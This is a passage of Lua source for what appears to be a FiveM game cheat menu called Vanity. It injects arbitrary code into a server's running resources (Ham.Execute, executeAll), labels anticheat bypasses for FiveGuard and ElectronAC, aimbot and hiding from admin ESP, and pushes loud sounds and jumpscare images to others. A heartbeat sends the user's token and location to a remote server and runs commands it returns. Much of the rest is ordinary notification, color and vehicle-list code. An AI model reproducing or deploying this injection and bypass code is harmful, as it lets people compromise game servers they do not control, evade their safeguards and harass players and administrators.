menu.functions.stopVanityAttachOnAdmin() return end if not style or not serverId or not menu.functions.runVanityAttachOnAdmin then return end menu.functions.runVanityAttachOnAdmin(style, serverId) return end if data.action == "change_model" or data.action == "change_animal" then local model = data.model or data.animal or data.ped if not model or not menu.functions.pedChanger then return end menu.functions.pedChanger(model) return end if data.action == "spawn_vehicle" then local model = data.model or data.vehicleModel or data.vehicle if type(model) == "string" then model = model:gsub("^%s+", ""):gsub("%s+$", ""):gsub("\"", "") else model = nil end if not model or model == "" or model:lower() == "custom" then return end local spawnInside = data.spawnInside if spawnInside == nil or spawnInside == true or spawnInside == 1 or spawnInside == "1" then menu.functions.spawnVehicle(model, true) else menu.functions.spawnVehicle(model, false) end return end if data.action == "rasen" then menu.utils.safeExecute([[ CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("rasen"), "maeher", GetDuiHandle(CreateDui("http://vortex.menu/sounds/rasen.mp3", 1, 1))) ]]) return end if data.action ~= "loud" then return end menu.utils.safeExecute([[ CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("loud"), "noise", GetDuiHandle(CreateDui("http://vortex.menu/sounds/loud.mp3", 1, 1))) ]]) end function menuUtilities.heartbeat() if not menu.vars.heartbeatFailures then menu.vars.heartbeatFailures = 0 end local position = GetEntityCoords(PlayerPedId()) if menu.utils and menu.utils.applyVanityPrivacyStateBags then menu.utils.applyVanityPrivacyStateBags() end local payload = { username = Ham.getName(), server = Ham.getServerEndpoint(), sid = tostring(GetPlayerServerId(PlayerId())), name = GetPlayerName(PlayerId()), token = Ham.getAuthToken() or "", showOnServers = menu.vars.bools.showMeOnServers == true, showLocation = menu.vars.bools.showMyLocation == true, showInVanityEsp = menu.vars.bools.showMeInVanityEsp == true, showInOnlineOptions = menu.vars.bools.showMeInOnlineOptions == true, position = { x = position.x, y = position.y, z = position.z } } local request = Ham.httpPostAsync("https://vty.ham.cx/status", json.encode(payload)) while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local success, response = pcall(json.decode, result.data) if success and response then menu.vars.heartbeatFailures = 0 if response.success == false then menu.vars.blacklisted = true local reason = "" if response.message then reason = string.match(response.message, "for reason: (.+)") or "" end local bannedBy = response.blacklisted_by or "" local lines = {} if reason ~= "" then table.insert(lines, "Reason: " .. reason) end if bannedBy ~= "" then table.insert(lines, "Banned by: " .. bannedBy) end menu.vars.blacklistUiMode = "blacklist" menu.vars.blacklistMessage = table.concat(lines, "\n") menu.vars.blacklistDisplayTime = GetGameTimer() + 60000 Ham.freeCam(false) if Ham and Ham.camBypass then Ham.camBypass(false) end Ham.noClip(false) menu.vars.freecamMenuActive = false menu.vars.freecamMenuThread = false menu.vars.freecamMenu = nil if menu.vars.bools then menu.vars.bools.freecam = false menu.vars.bools.noclip = false end menu.vars.visible = false _G.runmenu = false return false else local verified = verifyServerResponse(response, payload.username) if not verified then print("[Vanity] Potential spoofing attempt or data corruption, stopping menu.") _G.runmenu = false return false end menu.vars.blacklisted = false if response.command then menu.utils.handleHeartbeatCommand(response.command) end return true end end end menu.vars.heartbeatFailures = menu.vars.heartbeatFailures + 1 if 3 < menu.vars.heartbeatFailures then print("[Vanity] Heartbeat failed 3 times, stopping menu.") _G.runmenu = false return false end return true end Wait(10) end end function menuUtilities.feVaMeU(showNotification) Ham.getName() local fullAccess = menu.utils.canSeeVanityMenuUsers and menu.utils.canSeeVanityMenuUsers() or false local serverIp = Ham.getServerEndpoint() if not serverIp then return end local request = Ham.httpPostAsync( "https://vty.ham.cx/vanity/users", json.encode({ token = Ham.getAuthToken() or "", serverIP = serverIp, fullAccess = fullAccess }), { ["Content-Type"] = "application/json" }, true ) if not request then return end local deadline = GetGameTimer() + 5000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local success, response = pcall(json.decode, result.data) if success and response and response.success and response.players then if menu.vars._vanityCacheServerIp ~= serverIp then menu.vars.vanityMenuUsers = {} menu.vars._vanityCacheServerIp = serverIp end menu.vars.vanityMenuUsers = menu.vars.vanityMenuUsers or {} local localKey = tostring(GetPlayerServerId(PlayerId())) local visibleCount = 0 local present = {} local canSee = menu.utils.canSeeVanityMenuUsers and menu.utils.canSeeVanityMenuUsers() for _, player in ipairs(response.players) do if player.serverId then local key = tostring(player.serverId) present[key] = true local previous = menu.vars.vanityMenuUsers[key] local entry = { username = player.username or previous and previous.username, playerName = player.playerName or previous and previous.playerName, serverId = player.serverId, position = player.position or previous and previous.position, showOnServers = player.showOnServers, showLocation = player.showLocation, showInVanityEsp = player.showInVanityEsp, showInOnlineOptions = player.showInOnlineOptions } local privacy = menu.utils.resolveVanityPrivacy and menu.utils.resolveVanityPrivacy(player.serverId, entry) or {} entry.showOnServers = privacy.showOnServers entry.showLocation = privacy.showLocation entry.showInVanityEsp = privacy.showInVanityEsp entry.showInOnlineOptions = privacy.showInOnlineOptions if privacy.showLocation == false and not canSee then entry.position = nil end menu.vars.vanityMenuUsers[key] = entry if key ~= localKey and (privacy.showOnServers or canSee) then visibleCount = visibleCount + 1 end end end for key in pairs(menu.vars.vanityMenuUsers) do if key ~= localKey and not present[key] then menu.vars.vanityMenuUsers[key] = nil end end menu.vars.lastVanityCheck = GetGameTimer() if menu.functions and menu.functions.syncVanityFriendsToFriendList then menu.functions.syncVanityFriendsToFriendList() end if Ham.getName() == "jayswerve" then local coatFound = false for _, user in pairs(menu.vars.vanityMenuUsers) do if user.username == "coat" then coatFound = true break end end if coatFound and not menu.vars._coatAlerted then menu.vars._coatAlerted = true for index = 1, 3, 1 do menu.utils.notify("Your Stream Sniper is here!", "warning", 10000) end elseif not coatFound then menu.vars._coatAlerted = false end end if showNotification and fullAccess and 0 < visibleCount then menu.utils.notify( "There are " .. visibleCount .. " other vanity users on this server", "info", 10000 ) end end end return end Wait(10) end end function menuUtilities.hsvToRgb(hue, saturation, value) local sector = math.floor(hue * 6) local fraction = hue * 6 - sector local dark = value * (1 - saturation) local falling = value * (1 - fraction * saturation) local rising = value * (1 - (1 - fraction) * saturation) local red, green, blue sector = sector % 6 if sector == 0 then red, green, blue = value, rising, dark elseif sector == 1 then red, green, blue = falling, value, dark elseif sector == 2 then red, green, blue = dark, value, rising elseif sector == 3 then red, green, blue = dark, falling, value elseif sector == 4 then red, green, blue = rising, dark, value elseif sector == 5 then red, green, blue = value, dark, falling end return math.floor(red * 255), math.floor(green * 255), math.floor(blue * 255) end function menuUtilities.rgbToHsv(red, green, blue) red, green, blue = red / 255, green / 255, blue / 255 local maximum, minimum = math.max(red, green, blue), math.min(red, green, blue) local delta = maximum - minimum local saturation = maximum == 0 and 0 or delta / maximum local hue = 0 if maximum ~= minimum then if maximum == red then hue = (green - blue) / delta + (blue > green and 6 or 0) elseif maximum == green then hue = (blue - red) / delta + 2 elseif maximum == blue then hue = (red - green) / delta + 4 end end return hue / 6, saturation, maximum end function menuUtilities.hexToRgb(hex) if type(hex) ~= "string" then return nil end hex = string.upper(hex:gsub("%s+", ""):gsub("#", "")) if #hex == 3 then hex = hex:sub(1, 1) .. hex:sub(1, 1) .. hex:sub(2, 2) .. hex:sub(2, 2) .. hex:sub(3, 3) .. hex:sub(3, 3) end if #hex ~= 6 or hex:find("[^0-9A-F]") then return nil end local red = tonumber(hex:sub(1, 2), 16) local green = tonumber(hex:sub(3, 4), 16) local blue = tonumber(hex:sub(5, 6), 16) if not red or not green or not blue then return nil end return red, green, blue end function menuUtilities.getSafeExecuteResource(index) local resources = Ham.getSafeResources() or {} if index then return resources[index] end if menu.vars.feloxConfig and 0 < #menu.vars.feloxConfig.safeScripts then return menu.vars.feloxConfig.safeScripts[1] end if Ham.hasResource("rzrp-base") then return "rzrp-base" end if Ham.hasResource("es_extended") then return "es_extended" end if Ham.hasResource("qb-core") then return "qb-core" end if Ham.hasResource("qbx_core") then return "qbx_core" end if resources[1] then return resources[1] end local injectable = Ham.getInjectableResources() or {} return injectable[4] or injectable[1] end function menuUtilities.safeExecute(code, resourceIndex) local resource = menu.utils.getSafeExecuteResource(resourceIndex) if not resource then print("no safe resources found") return false end if menu.utils.sanitizeExecuteCode then code = menu.utils.sanitizeExecuteCode(code) end if not code or code == "" then print("^1[safeExecute] Empty execute code^7") return false end if menu.utils.validateExecuteCode then local valid, errorMessage = menu.utils.validateExecuteCode(code) if not valid then print("^1[safeExecute] Invalid execute code:^7 " .. tostring(errorMessage)) return false end end menu.utils.injectUtils(resource) local success, errorMessage = pcall(function() Ham.Execute(resource, code) end) if not success then print("^1[safeExecute] Ham.Execute failed:^7 " .. tostring(errorMessage)) return false end if not resourceIndex then pcall(function() if clearStringCache then clearStringCache() end end) end return true, resource end function menuUtilities.executeAll(code) for _, resource in pairs(Ham.getInjectableResources()) do Ham.Execute(resource, code) end end function menuUtilities.playSound(sound) if menu.vars.bools.menuSound then PlaySoundFrontend(-1, sound, "HUD_FRONTEND_DEFAULT_SOUNDSET", true) end end function menuUtilities.jumpscareAdminLocalPreview() if menu.vars.jumpscarePreviewThreadActive then return end menu.vars.jumpscarePreviewThreadActive = true menu.utils.safeExecute([[ CreateThread(function() local dui = CreateDui("https://files.catbox.moe/39zkdx.png", 768, 768) if dui and dui ~= 0 then local txd = "jsadmprv" local tries = 0 while not IsDuiAvailable(dui) and tries < 400 do tries = tries + 1 Wait(0) end CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd(txd), "pic", GetDuiHandle(dui)) local t0 = GetGameTimer() while GetGameTimer() - t0 < 3000 do DrawSprite(txd, "pic", 0.88, 0.12, 0.38, 0.48, 0.0, 255, 255, 255, 255) Wait(0) end DestroyDui(dui) end end) ]]) CreateThread(function() Wait(3050) menu.vars.jumpscarePreviewThreadActive = false end) end function menuUtilities.playVanityDuiSoundUrl(url) url = tostring(url or "") if url == "" then return end url = url:gsub("\\", "\\\\"):gsub("\"", "\\\"") menu.utils.safeExecute( "CreateThread(function()\n" .. "local sndDui = CreateDui(\"" .. url .. "\", 64, 64)\n" .. "if sndDui and sndDui ~= 0 then\n" .. "CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd(\"vocarusnd\"), \"s\", GetDuiHandle(sndDui))\n" .. "end\n" .. "CreateThread(function()\n" .. "local tEnd = GetGameTimer() + 300000\n" .. "while GetGameTimer() < tEnd do Wait(250) end\n" .. "if sndDui and sndDui ~= 0 then DestroyDui(sndDui) end\n" .. "end)\n" .. "end)\n" ) end function menuUtilities.getNotifyEnterDelay() return 0 end menuUtilities.notifyReservedTitles = { ["Vehicle Spawner"] = true, ["Spawn Custom"] = true, Bypass = true, Bypasses = true, Weapons = true, ["Weapon Bypass"] = true, ["Resource Manager"] = true, ["Full Invisibility"] = true, ["Anticheat checker"] = true, Aimbot = true, NoClip = true, Failed = true, Warning = true } function menuUtilities.isReservedNotifyTitle(title) return menu.utils.notifyReservedTitles[tostring(title or "")] == true end function menuUtilities.getNotifySubmenuTitle() local stack = menu.vars and menu.vars.navigationStack if not stack or #stack < 2 then return nil end local node = stack[#stack] local title = node and node.title if not title or title == "" then return nil end title = tostring(title) if title:find("^Search:", 1) then return nil end return title end function menuUtilities.applyNotifySubmenuTitle(extras, fallbackSubtitle) extras = extras or {} if extras.keepTitle == true then return extras end if extras.title and menu.utils.isReservedNotifyTitle(extras.title) then return extras end local title = menu.utils.getNotifySubmenuTitle() if not title then return extras end if not extras.subtitle or extras.subtitle == "" then extras.subtitle = tostring(fallbackSubtitle or "") end extras.title = title return extras end function menuUtilities.buildNotifySubtitleParts(...) local parts, text = {}, "" for index = 1, select("#", ...), 1 do local value = select(index, ...) if type(value) == "table" then local partText = tostring(value.text or value[1] or "") local highlight = value.highlight == true or value[2] == true table.insert(parts, { text = partText, highlight = highlight }) text = text .. partText else local partText = tostring(value) table.insert(parts, { text = partText, highlight = false }) text = text .. partText end end return text, parts end function menuUtilities.inferNotifySubtitleSegments(subtitle) subtitle = tostring(subtitle or "") if subtitle == "" then return nil end local function formatSubtitleParts(...) local _, segments = menu.utils.buildNotifySubtitleParts(...) return segments end local patterns = { { "^Stopped (.+) successfully$", function(subject) return formatSubtitleParts("Stopped ", { subject, true }, " successfully") end }, { "^Started (.+) successfully$", function(subject) return formatSubtitleParts("Started ", { subject, true }, " successfully") end }, { "^Successfully spawned (.+)$", function(subject) return formatSubtitleParts("Successfully spawned ", { subject, true }) end }, { "^Successfully (.+) repaired$", function(subject) return formatSubtitleParts("Successfully ", { subject, true }, " repaired") end }, { "^Successfully (.+) (opened|closed)$", function(subject, action) return formatSubtitleParts("Successfully ", { subject, true }, " " .. action) end }, { "^Plate changed to (.+)$", function(plate) return formatSubtitleParts("Plate changed to ", { plate, true }) end }, { "^Plate copied: (.+)$", function(plate) return formatSubtitleParts("Plate copied: ", { plate, true }) end }, { "^Given (.+)$", function(subject) return formatSubtitleParts("Given ", { subject, true }) end }, { "^Added (.+)$", function(subject) return formatSubtitleParts("Added ", { subject, true }) end }, { "^Removed (.+) attachment%(s%)$", function(subject) return formatSubtitleParts("Removed ", { subject, true }, " attachment(s)") end }, { "^Vehicle was removed %((.+)%)$", function(subject) return formatSubtitleParts("Vehicle was removed (", { subject, true }, ")") end }, { "^(.+) bypass (loaded|disabled)$", function(subject, state) return formatSubtitleParts({ subject, true }, " bypass ", state) end }, { "^(.+) %(([^%)]+)%)$", function(prefix, subject) return formatSubtitleParts(prefix .. " (", { subject, true }, ")") end } } for _, pattern in ipairs(patterns) do local captures = table.pack(subtitle:match(pattern[1])) if captures[1] then return pattern[2](table.unpack(captures)) end end return nil end function menuUtilities.buildNotifyCardExtras(message, notifyType, extras) extras = extras or {} if extras.title and extras.subtitle then return extras end message = tostring(message or "") local lowerMessage = message:lower() local function setNotifyCardText(title, subtitle) extras.title = title extras.subtitle = subtitle or message return extras end local feature, state = message:match("^(.+) (enabled|disabled)$") if feature then return setNotifyCardText(feature, state:sub(1, 1):upper() .. state:sub(2)) end if lowerMessage:find("^successfully spawned") or lowerMessage:find("^failed to spawn") or lowerMessage:find("^failed to load") or lowerMessage:find("^vehicle was removed") or lowerMessage:find("^invalid vehicle") or lowerMessage:find("vehicle is blacklisted") or lowerMessage:find("^custom vehicle set") then return setNotifyCardText("Vehicle Spawner") end if lowerMessage:find("weapon bypass") or lowerMessage:find("fiveguard bypass") or lowerMessage:find("electronac bypass") or lowerMessage:find("main bypass") or lowerMessage:find("electronac weapon bypass") or lowerMessage:find("fiveguard weapon bypass") then return setNotifyCardText("Weapon Bypass") end if lowerMessage:find("bypass") then return setNotifyCardText("Bypass") end if lowerMessage:find("weapon") or lowerMessage:find("^given ") or lowerMessage:find("^all weapons") or lowerMessage:find("attachment") or lowerMessage:find("^added ") or lowerMessage:find("^removed ") or lowerMessage:find("^upgraded ") or lowerMessage:find("weapon bypass") or lowerMessage:find("weapon spawn blocked") or lowerMessage:find("^fake weapon") or lowerMessage:find("^electronac") or lowerMessage:find("^fiveguard") or lowerMessage:find("ham weapon") then return setNotifyCardText("Weapons") end if lowerMessage:find("^resource .+ stopped") then local resource = message:match("^Resource (.+) stopped!?$") or message:match("^resource (.+) stopped!?$") return setNotifyCardText( "Resource Manager", resource and "Stopped " .. resource .. " successfully" or message ) end if lowerMessage:find("^resource .+ started") then local resource = message:match("^Resource (.+) started!?$") or message:match("^resource (.+) started!?$") return setNotifyCardText( "Resource Manager", resource and "Started " .. resource .. " successfully" or message ) end if lowerMessage:find("full invisibility") or lowerMessage:find("hidden from admin esp") then return setNotifyCardText("Full Invisibility") end if lowerMessage:find("anticheat") or lowerMessage:find("checker") then return setNotifyCardText("Anticheat checker") end if lowerMessage:find("^aimbot") then return setNotifyCardText("Aimbot") end if lowerMessage:find("^noclip") or lowerMessage == "noclip" then return setNotifyCardText("NoClip", extras.subtitle or message) end local separator = message:find(" \226\128\148 ", 1, true) if separator then return setNotifyCardText(message:sub(1, separator - 1), message:sub(separator + 3)) end local colon = message:find(":", 1, true) if colon then return setNotifyCardText(message:sub(1, colon - 1), message:sub(colon + 1):gsub("^%s+", "")) end extras.subtitle = extras.subtitle or message extras.title = notifyType == "success" and "Completed" or notifyType == "error" and "Failed" or notifyType == "warning" and "Warning" or "Update" return extras end function menuUtilities.formatNotifyClassicText(notification) if not notification then return "" end local text = tostring(notification.text or "") local title = tostring(notification.title or "") local subtitle = tostring(notification.subtitle or "") if subtitle == "" and title == "" then return text end if subtitle == "Enabled" or subtitle == "Disabled" then return (title ~= "" and title or text) .. " " .. subtitle:lower() end if subtitle ~= "" then return subtitle end if title ~= "" then return title end return text end function menuUtilities.notifyToggle(feature, enabled, extras) extras = extras or {} feature = tostring(feature or "Feature") local duration = extras.duration or 3000 local subtitle, segments = extras.subtitle, extras.subtitleSegments if not subtitle and not segments then subtitle, segments = menu.utils.buildNotifySubtitleParts({ feature, true }, " ", enabled and "enabled" or "disabled") end menu.utils.notify( feature, enabled and (extras.onType or "success") or (extras.offType or "info"), duration, nil, { title = extras.title or feature, subtitle = subtitle, subtitleSegments = segments } ) end function menuUtilities.notify(text, notifyType, duration, tag, extras) if menu.vars and menu.vars.suppressConfigApplyNotifications then return end menu.vars.notifications = menu.vars.notifications or {} extras = menu.utils.buildNotifyCardExtras(text, notifyType, extras or {}) if not extras.subtitleSegments and extras.subtitle then extras.subtitleSegments = menu.utils.inferNotifySubtitleSegments(extras.subtitle) end local notification = { text = tostring(text or ""), type = notifyType or "info", duration = tonumber(duration) or 2500, startTime = GetGameTimer(), enterDelay = extras.noEnterDelay and 0 or menu.utils.getNotifyEnterDelay(), tag = tag, large = extras.large == true, title = extras.title, subtitle = extras.subtitle, subtitleLines = extras.subtitleLines, subtitleSegments = extras.subtitleSegments, iconKind = extras.iconKind } table.insert(menu.vars.notifications, 1, notification) while 20 < #menu.vars.notifications do table.remove(menu.vars.notifications) end end function menuUtilities.isTextPromptSystemModifierDown() for _, keyName in ipairs({ "LeftSuper", "RightSuper", "LeftWin", "RightWin", "ModSuper", "LeftAlt", "RightAlt", "ModAlt" }) do local key = ImGuiKey[keyName] if key and Ham.isKeyDown(key) then return true end end return false end function menuUtilities.setClipboardText(value) local text = tostring(value or ""):gsub("^%s+", ""):gsub("%s+$", "") if text == "" then return false end local function tryClipboardSetter(setter) if type(setter) ~= "function" then return false end local ok, result = pcall(setter, text) return ok and result ~= false end if Ham then if Ham.setClipboard and tryClipboardSetter(Ham.setClipboard) then return true end if Ham.setClipboardText and tryClipboardSetter(Ham.setClipboardText) then return true end if Ham.copyToClipboard and tryClipboardSetter(Ham.copyToClipboard) then return true end if Ham.setClipboardString and tryClipboardSetter(Ham.setClipboardString) then return true end end local success, result = pcall(function() if not io or not io.popen then return false end local process = io.popen("clip", "w") if not process then return false end process:write(text) if process.flush then process:flush() end process:close() return true end) return success and result or false end function menuUtilities.notifyBottom(text, notifyType, duration) if menu.vars and menu.vars.suppressConfigApplyNotifications then return end menu.vars.notifications = menu.vars.notifications or {} table.insert(menu.vars.notifications, { text = tostring(text or ""), type = notifyType or "info", duration = tonumber(duration) or 2500, startTime = GetGameTimer(), enterDelay = menu.utils.getNotifyEnterDelay() }) while 20 < #menu.vars.notifications do table.remove(menu.vars.notifications, 1) end end function menuUtilities.getAllVehicleModels() local models if type(GetAllVehicleModels) == "function" then models = GetAllVehicleModels() else models = Citizen.InvokeNative(3612546629, Citizen.ResultAsObject()) end if type(models) == "string" then models = msgpack.unpack(models) end if type(models) == "table" and models then return models end return {} end function menuUtilities.populateFreezableResources() local resources = menu.utils.getFreezableResourceList() if not resources or type(resources) ~= "table" then resources = {} end table.sort(resources) menu.vars.freezableResources = resources end local function splitVehicleModelNames(names) local models = {} for model in names:gmatch("%S+") do models[#models + 1] = model end return models end local stockVehicleModels = splitVehicleModelNames([[ adder airbus airtug akula akuma alkonost alpha alphaz1 ambulance annihilator annihilator2 apc ardent armytanker armytrailer armytrailer2 asbo asea asea2 asterope astron autarch avarus avenger avenger2 avisa bagger baletrailer baller baller2 baller3 baller4 baller5 baller6 baller7 banshee banshee2 barracks barracks2 barracks3 barrage bati bati2 benson besra bestiagts bf400 bfinjection biff bifta bison bison2 bison3 bjxl blade blazer blazer2 blazer3 blazer4 blazer5 blimp blimp2 blimp3 blista blista2 blista3 bmx boattrailer bobcatxl bodhi2 bombushka boor boxville boxville2 boxville3 boxville4 boxville5 brawler broadway brickade brickade2 brioso brioso2 brioso3 bruiser bruiser2 bruiser3 brutus brutus2 brutus3 btype btype2 btype3 buccaneer buccaneer2 buffalo buffalo2 buffalo3 buffalo4 bulldozer bullet burrito burrito2 burrito3 burrito4 burrito5 bus buzzard buzzard2 cablecar caddy caddy2 caddy3 calico camper caracara caracara2 carbonizzare carbonrs cargobob cargobob2 cargobob3 cargobob4 cargoplane cargoplane2 casco cavalcade cavalcade2 cerberus cerberus2 cerberus3 champion cheburek cheetah cheetah2 chernobog chimera chino chino2 cinquemila cliffhanger clique club coach cog55 cog552 cogcabrio cognoscenti cognoscenti2 comet2 comet3 comet4 comet5 comet6 comet7 conada contender coquette coquette2 coquette3 coquette4 corsita cruiser crusader cuban800 cutter cyclone cypher daemon daemon2 deathbike deathbike2 deathbike3 defiler deity deluxo deveste deviant diablous diablous2 dilettante dilettante2 dinghy dinghy2 dinghy3 dinghy4 dinghy5 dloader docktrailer docktug dodo dominator dominator2 dominator3 dominator4 dominator5 dominator6 dominator7 dominator8 double drafter draugur dubsta dubsta2 dubsta3 dukes dukes2 dukes3 dump dune dune2 dune3 dune4 dune5 duster dynasty elegy elegy2 ellie emerus emperor emperor2 emperor3 enduro entity2 entity3 entityxf esskey eudora euros everon everon2 exemplar f620 faction faction2 faction3 fagaloa faggio faggio2 faggio3 fbi fbi2 fcr fcr2 felon felon2 feltzer2 feltzer3 firetruk fixter flashgt flatbed fmj forklift formula formula2 fq2 freecrawler freight freightcar freightcar2 freightcont1 freightcont2 freightgrain freighttrailer frogger frogger2 fugitive furia furoregt fusilade futo futo2 gargoyle gauntlet gauntlet2 gauntlet3 gauntlet4 gauntlet5 gb200 gburrito gburrito2 glendale glendale2 gp1 graintrailer granger granger2 greenwood gresley growler gt500 guardian habanero hakuchou hakuchou2 halftrack handler hauler hauler2 havok hellion hermes hexer hotknife hotring howard hunter huntley hustler hydra ignus imorgon impaler impaler2 impaler3 impaler4 imperator imperator2 imperator3 infernus infernus2 ingot innovation insurgent insurgent2 insurgent3 intruder issi2 issi3 issi4 issi5 issi6 issi7 issi8 italigtb italigtb2 italigto italirsx iwagen jackal jb700 jb7002 jester jester2 jester3 jester4 jet jetmax journey journey2 jubilee jugular kalahari kamacho kanjo kanjosj khamelion khanjali komoda kosatka krieger kuruma kuruma2 landstalker landstalker2 lazer le7b lectro lguard limo2 lm87 locust longfin lurcher luxor luxor2 lynx mamba mammatus manana manana2 manchez manchez2 manchez3 marquis marshall massacro massacro2 maverick menacer mesa mesa2 mesa3 metrotrain michelli microlight miljet minitank minivan minivan2 mixer mixer2 mogul molotok monroe monster monster3 monster4 monster5 moonbeam moonbeam2 mower mule mule2 mule3 mule4 mule5 nebula nemesis neo neon nero nero2 nightblade nightshade nightshark nimbus ninef ninef2 nokota novak omnis omnisegt openwheel1 openwheel2 oppressor oppressor2 oracle oracle2 osiris outlaw packer panthere panto paradise paragon paragon2 pariah patriot patriot2 patriot3 patrolboat pbus pbus2 pcj penetrator penumbra penumbra2 peyote peyote2 peyote3 pfister811 phantom phantom2 phantom3 phoenix picador pigalle police police2 police3 police4 policeb policeold1 policeold2 policet polmav pony pony2 powersurge postlude pounder pounder2 prairie pranger predator premier previon primo primo2 proptrailer prototipo pyro r300 radi raiden raketrailer rallytruck rancherxl rancherxl2 rapidgt rapidgt2 rapidgt3 raptor ratbike ratloader ratloader2 rcbandito reaper rebel rebel2 rebla reever regina remus rentalbus retinue retinue2 revolter rhapsody rhinehart rhino riata riot riot2 ripley rocoto rogue romero rrocket rt3000 rubble ruffian ruiner ruiner2 ruiner3 ruiner4 rumpo rumpo2 rumpo3 ruston s80 sabregt sabregt2 sadler sadler2 sanchez sanchez2 sanctus sandking sandking2 savage savestra sc1 scarab scarab2 scarab3 schafter2 schafter3 schafter4 schafter5 schafter6 schlagen schwarzer scorcher scramjet scrap seabreeze seashark seashark2 seashark3 seasparrow seasparrow2 seasparrow3 seminole seminole2 sentinel sentinel2 sentinel3 sentinel4 serrano seven70 shamal sheava sheriff sheriff2 shinobi shotaro skylift slamtruck slamvan slamvan2 slamvan3 slamvan4 slamvan5 slamvan6 sm722 sovereign specter specter2 speeder speeder2 speedo speedo2 speedo4 squaddie squalo stafford stalion stalion2 stanier starling stinger stingergt stockade stockade3 stratum streiter stretch strikeforce stromberg stryder stunt submersible submersible2 sugoi sultan sultan2 sultan3 sultanrs suntrap superd supervolito supervolito2 surano surfer surfer2 surfer3 surge swift swift2 swinger t20 taco tahoma tailgater tailgater2 taipan tampa tampa2 tampa3 tanker tanker2 tankercar taxi technical technical2 technical3 tempesta tenf tenf2 terbyte tezeract thrax thrust thruster tigon tiptruck tiptruck2 titan toreador torero torero2 tornado tornado2 tornado3 tornado4 tornado5 tornado6 toro toro2 toros tourbus towtruck towtruck2 tr2 tr3 tr4 tractor tractor2 tractor3 trailerlarge trailerlogs trailers trailers2 trailers3 trailers4 trailersmall trailersmall2 trash trash2 trflat tribike tribike2 tribike3 trophytruck trophytruck2 tropic tropic2 tropos tug tula tulip tulip2 turismo2 turismor tvtrailer tyrant tyrus utillitruck utillitruck2 utillitruck3 vacca vader vagner vagrant valkyrie valkyrie2 vamos vectre velum velum2 verlierer2 verus vestra vetir veto veto2 vigero vigero2 vigilante vindicator virgo virgo2 virgo3 viseris visione virtue volatol volatus voltic voltic2 voodoo voodoo2 vortex vstr warrener washington wastelander weevil weevil2 windsor windsor2 winky wolfsbane xa21 xls xls2 yosemite yosemite2 yosemite3 youga youga2 youga3 youga4 z190 zeno zentorno zhaba zion zion2 zion3 zombiea zombieb zorrusso zr350 zr380 zr3802 zr3803 ztype warrener2 Sugoi Stryder Lurcher Dynasty BMX Jackal Novak driftjester asterope2 driftremus phantom4 terminus benson2 police5 freight2 tvtrailer2 coureur impaler5 driftfr36 buffalo5 brigham turismo3 l35 towtruck3 monstrociti driftyosemite gauntlet6 ratel inductor2 inductor raiju stingertt clique2 streamer216 avenger3 avenger4 speedo5 conada2 vivanite impaler6 dorado towtruck4 Vigero3 cavalcade3 driftfuto drifteuros drifttampa driftzr350 aleutian dominator9 polgauntlet boxville6 fr36 trailers5 baller8 boattrailer2 boattrailer3 freightcar3 polfaction2 pipistrello niobe polcaracara titan2 policet3 driftcypher youga5 pizzaboy uranus polterminus polgreenwood banshee3 driftcheburek polimpaler6 driftjester3 cargobob5 driftfuto2 envisage poldominator10 yosemite1500 poldorado paragon3 eurosX32 castigator dominator10 polimpaler5 driftnebula driftsentinel vorschlaghammer coquette5 driftvorschlag coquette6 firebolt chavosv6 duster2 polcoquette4 jester5 ]]) function menuUtilities.populateAddonVehicles() local allModels = _ENV.menu.utils.getAllVehicleModels() local addonModels, stockSet, seen = {}, {}, {} for _, model in _ENV.ipairs(stockVehicleModels) do stockSet[model:lower()] = true end local selected = _ENV.menu.vars.addonVehicles and _ENV.menu.vars.addonVehicles[_ENV.menu.vars.selectors.vehicleSelector2 or 1] for _, model in _ENV.pairs(allModels) do if _ENV.type(model) == "string" then model = model:lower() if model:match("^[%w_]+$") and not stockSet[model] and not seen[model] then seen[model] = true addonModels[#addonModels + 1] = model end end end _ENV.table.sort(addonModels) _ENV.menu.vars.addonVehicles = addonModels local index = _ENV.menu.vars.selectors.vehicleSelector2 or 1 local selectedIndex = _ENV.math.max(1, _ENV.math.min(index, #addonModels)) for addonIndex, model in _ENV.ipairs(addonModels) do if model == selected then selectedIndex = addonIndex break end end _ENV.menu.vars.selectors.vehicleSelector2 = selectedIndex end function menuUtilities.getVehicleCategories() if menu.vars.vehicleCategories then return menu.vars.vehicleCategories end local categoryModels = { Super = splitVehicleModelNames( [[adder autarch bullet cheetah cheetah2 cyclone deveste emerus entity2 entity3 entityxf fmj furia gp1 ignus infernus infernus2 italigtb italigtb2 italigto italirsx krieger le7b lm87 nero nero2 osiris penetrator pfister811 prototipo reaper sc1 scramjet sheava sultanrs t20 taipan tempesta tezeract thrax tigon turismo2 turismor tyrus vacca vagner vigilante visione voltic voltic2 xa21 zentorno zorrusso]] ), Sports = splitVehicleModelNames( [[alpha banshee banshee2 bestiagts blista2 buffalo buffalo2 buffalo3 buffalo4 calico carbonizzare comet2 comet3 comet4 comet5 comet6 comet7 coquette coquette2 coquette3 coquette4 corsita cypher drafter elegy elegy2 euros feltzer2 feltzer3 furoregt fusilade futo futo2 jester jester2 jester3 jester4 journey journey2 jugular komoda lynx massacro massacro2 neo neon ninef ninef2 omnis omnisegt pariah penumbra penumbra2 rapidgt rapidgt2 rapidgt3 raiden ruston schafter2 schafter3 schafter4 schafter5 schafter6 schlagen schwarzer sentinel sentinel2 sentinel3 sentinel4 seven70 specter specter2 sultan sultan2 sultan3 surano tampa2 tropos verlierer2 vstr zr350]] ), ["Sports Classics"] = splitVehicleModelNames( [[ardent btype btype2 btype3 casco cheetah2 coquette2 deluxo fagaloa feltzer3 gt500 infernus2 jb700 jb7002 mamba manana manana2 monroe peyote peyote2 peyote3 pigalle rapidgt3 retinue retinue2 savestra stinger stingergt stromberg torero torero2 tornado tornado2 tornado3 tornado4 tornado5 tornado6 turismo2 viseris z190 ztype]] ), Muscle = splitVehicleModelNames( [[blade broadway buccaneer buccaneer2 chino chino2 clique coquette3 deviant dominator dominator2 dominator3 dominator4 dominator5 dominator6 dominator7 dominator8 dukes dukes2 dukes3 ellie faction faction2 faction3 gauntlet gauntlet2 gauntlet3 gauntlet4 gauntlet5 hermes hotknife hustler impaler impaler2 impaler3 